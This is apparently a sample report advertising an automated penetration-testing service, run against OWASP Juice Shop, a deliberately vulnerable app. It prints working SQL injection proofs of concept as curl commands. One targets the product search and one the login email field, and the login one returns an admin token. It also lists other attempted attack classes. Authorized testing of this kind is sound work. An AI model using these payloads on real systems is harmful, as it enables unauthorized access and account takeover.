NAXXAN ← naxxan.ai Request Verify External

// SAMPLE REPORT · real run · public target (OWASP Juice Shop, vulnerable by design)

What the evidence looks like when it arrives

real run, unchanged — generated from the run artifacts.

This is a real verification run on a target that is public and vulnerable by design. Every finding below fired 2× and every negative control — the same probe with the payload removed — came back clean. That differential is the finding, and each one ships with its PoC as a curl your reviewer can copy, paste, and re-run, plus the raw request and response it produced.

RUN 7c30ed04dc73
DATE 2026-09-03
TARGET OWASP Juice Shop — public gym target, vulnerable by design (bkimminich/juice-shop:latest)
DURATION 374.1s
MODE hybrid — model-driven discovery (glm-5.3) + sandboxed PoC execution
SCOPE read-only, no credentials, authorized
HYPOTHESES 11 raised · 3 validated · 2 findings · 8 resisted
VERIFICATION min 2 reproductions per signal · 3 informed PoC rounds · adjudication pass on
Report fingerprint — sha256
7f9fbac16313711f1a13284431d48bb87ad1c596ce4b55a9002784eca4298cac
sha256 of the report artifact published with this page: assets/sample-run-report.json. The report is content-addressed; each finding cites its own evidence artifact and PoC identifier, and reproduction is a property of the run, not a claim about it. For public release the run's report.json was minimally redacted — internal cost/pricing fields removed; internal case identifiers redacted inside one adjudication note. Every finding, PoC, evidence citation and metric is verbatim from the run.

Findings — 2

CRITICALSQL InjectionFL-03ac49d787bd · CVSS 9.8 · POC-0a374dfa
WhereGET /rest/products/search?q — the search parameter is concatenated directly into the SQL query.
CVSS vector v3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EvidenceDeclared signal: http-status 500 — observed: 500. Fired 2× in independent executions; the benign-input control (same probe, payload removed) did not fire it.
RemediationParameterized queries on this path; never concatenate user input into SQL. Post-fix retest included until it reads FIXED.
PoC · http · copy, paste & re-run
curl -i --path-as-is http://127.0.0.1:31000/rest/products/search?q=' OR 1=1--
Raw request — as executed
GET http://127.0.0.1:31000/rest/products/search?q=' OR 1=1--
Raw response — from the run's evidence artifact
status 500 · content-type: text/html; charset=utf-8

<html>
  <head>
    <meta charset='utf-8'> 
    <title>Error: SQLITE_ERROR: incomplete input</title>
    <style>* {
  margin: 0;
  padding: 0;
  outline: 0;
}

body {
  padding: 80px 100px;
  font: 13px "Helvetica Neue", "Lucida Grande", "Arial";
  background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));
  background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);

… [truncated — 942 bytes total in the evidence artifact]
fired · negative control clean · hypothesis H-7c30ed04-019 · evidence ev-96719872fcbefb28 · sha256 96719872fcbefb28
CRITICALSQL InjectionFL-7156550fb2af · CVSS 9.8 · POC-b715cb4c
WherePOST /rest/user/login — the email field is concatenated into the authentication query — the injected credential authenticates as the admin account.
CVSS vector v3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EvidenceDeclared signal: body-pattern token|SQL|SQLITE_ERROR|System error — observed: authentication. Fired 2× in independent executions; the benign-input control (same probe, payload removed) did not fire it.
RemediationParameterized queries on this path; never concatenate user input into SQL. Post-fix retest included until it reads FIXED.
PoC · http · copy, paste & re-run
curl -i -X POST -d {"email": "' OR 1=1--", "password": "x"} --path-as-is http://127.0.0.1:31000/rest/user/login
Raw request — as executed
POST http://127.0.0.1:31000/rest/user/login
Content-Type: application/json

{"email": "' OR 1=1--", "password": "x"}
Raw response — from the run's evidence artifact
status 200 · content-type: application/json; charset=utf-8

{"authentication":{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJkYXRhIjp7ImlkIjoxLCJ1c2VybmFtZSI6IiIsImVtYWlsIjoiYWRtaW5AanVpY2Utc2gub3AiLCJwYXNzd29yZCI6IjAxOTIwMjNhN2JiZDczMjUwNTE2ZjA2OWRmMThiNTAwIiwicm9sZSI6ImFkbWluIiwiZGVsdXhlVG9rZW4iOiIiLCJsYXN0TG9naW5JcCI6IiIsInByb2ZpbGVJbWFnZSI6ImFzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdEFkbWluLnBuZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3J
… [truncated — 784 bytes total in the evidence artifact]
fired · negative control clean · hypothesis H-7c30ed04-004 · evidence ev-d10f61135df576a3 · sha256 d10f61135df576a3

Hypothesis ledger — all 11, every verdict visible

Every hypothesis the run raised is listed with its endpoint, its declared fault signal, how many attempts it consumed and its verdict. Nothing is dropped for looking bad; one validated signal was adjudicated out and says so.

hypothesisclassendpointfault signalattemptsverdict
H-7c30ed04-018xss_reflectedGET /rest/products/search?qbody-pattern <script>alert\(1\)</script>9RESISTEDfault signal not certified
H-7c30ed04-003auth_bypassPOST /rest/user/loginbody-pattern "token"|authentication10RESISTEDfault signal not certified
H-7c30ed04-004sqliPOST /rest/user/loginbody-pattern token|SQL|SQLITE_ERROR|System error1VALIDATED → FINDINGFL-7156550fb2af
H-7c30ed04-006bolaGET /rest/basket/:idbody-pattern Products|items|data|email11RESISTEDfault signal not certified
H-7c30ed04-023ssrfGET /redirect?tobody-pattern evil\d+\.example\.com8RESISTEDfault signal not certified
H-7c30ed04-019sqliGET /rest/products/search?qhttp-status 5004VALIDATED → FINDINGFL-03ac49d787bd
H-7c30ed04-024bolaPUT /api/Users/:idhttp-status 2008RESISTEDfault signal not certified
H-7c30ed04-008bolaGET /rest/track-order/:idbody-pattern email|order|ETA|address|Products11RESISTEDfault signal not certified
H-7c30ed04-017sqliGET /rest/track-order/:idbody-pattern SQLITE|error|Order|email3VALIDATED → ADJUDICATED OUTadjudication verdict: refuted — the observed match was the probe's own payload echo; excluded from findings
H-7c30ed04-026bolaPOST /rest/basket/1/checkoutbody-pattern confirmation|order|success9RESISTEDfault signal not certified
H-7c30ed04-009auth_bypassPOST /rest/basket/1/checkouthttp-status 200, 201, 20211RESISTEDfault signal not certified
3 validated (→ 2 findings + 1 adjudicated out) + 8 resisted = 11 raised — the arithmetic closes on this page.

Certified resistances — 8

These were attacked with real PoCs — 77 attempts across up to 3 informed rounds each — and their declared fault signal never fired. Resisted is a verdict, not a budget cut: each round learns from the previous failures before it gives up.

xss_reflectedGET /rest/products/search?qbody-pattern signal9 attempts
auth_bypassPOST /rest/user/loginbody-pattern signal10 attempts
bolaGET /rest/basket/:idbody-pattern signal11 attempts
ssrfGET /redirect?tobody-pattern signal8 attempts
bolaPUT /api/Users/:idhttp-status signal8 attempts
bolaGET /rest/track-order/:idbody-pattern signal11 attempts
bolaPOST /rest/basket/1/checkoutbody-pattern signal9 attempts
auth_bypassPOST /rest/basket/1/checkouthttp-status signal11 attempts

Methodological note

Every finding in this report passed three controls before it shipped: (1) the probe fired its declared fault signal; (2) it reproduced at least 2× in independent executions; (3) the negative control — the same probe with the payload removed — did not fire it. Validated signals additionally pass an adjudication review before becoming findings; in this run one validated signal was adjudicated out as a payload echo rather than an execution, and is listed as such. Hypotheses that did not pass appear in the ledger above with their verdict: refuted probes are certified resistance, and nothing is reported by model inference without an observed execution.

What also ships

A one-file HTML report exactly like this one (no login), the raw request/response evidence per execution cited by sha256, a verified-resistances certificate for what we attacked and could not break, remediation guidance per finding, and the post-fix retest until every finding reads FIXED.

This is the sample. Yours arrives 48 hours from a signed scope.

One authorized external target. No credentials, nothing to install. Findings that reproduce — or they don't ship.

Request Verify External → engagements@naxxan.ai
$995 · first five engagements only · report in 48h from signed scope · full refund before execution ·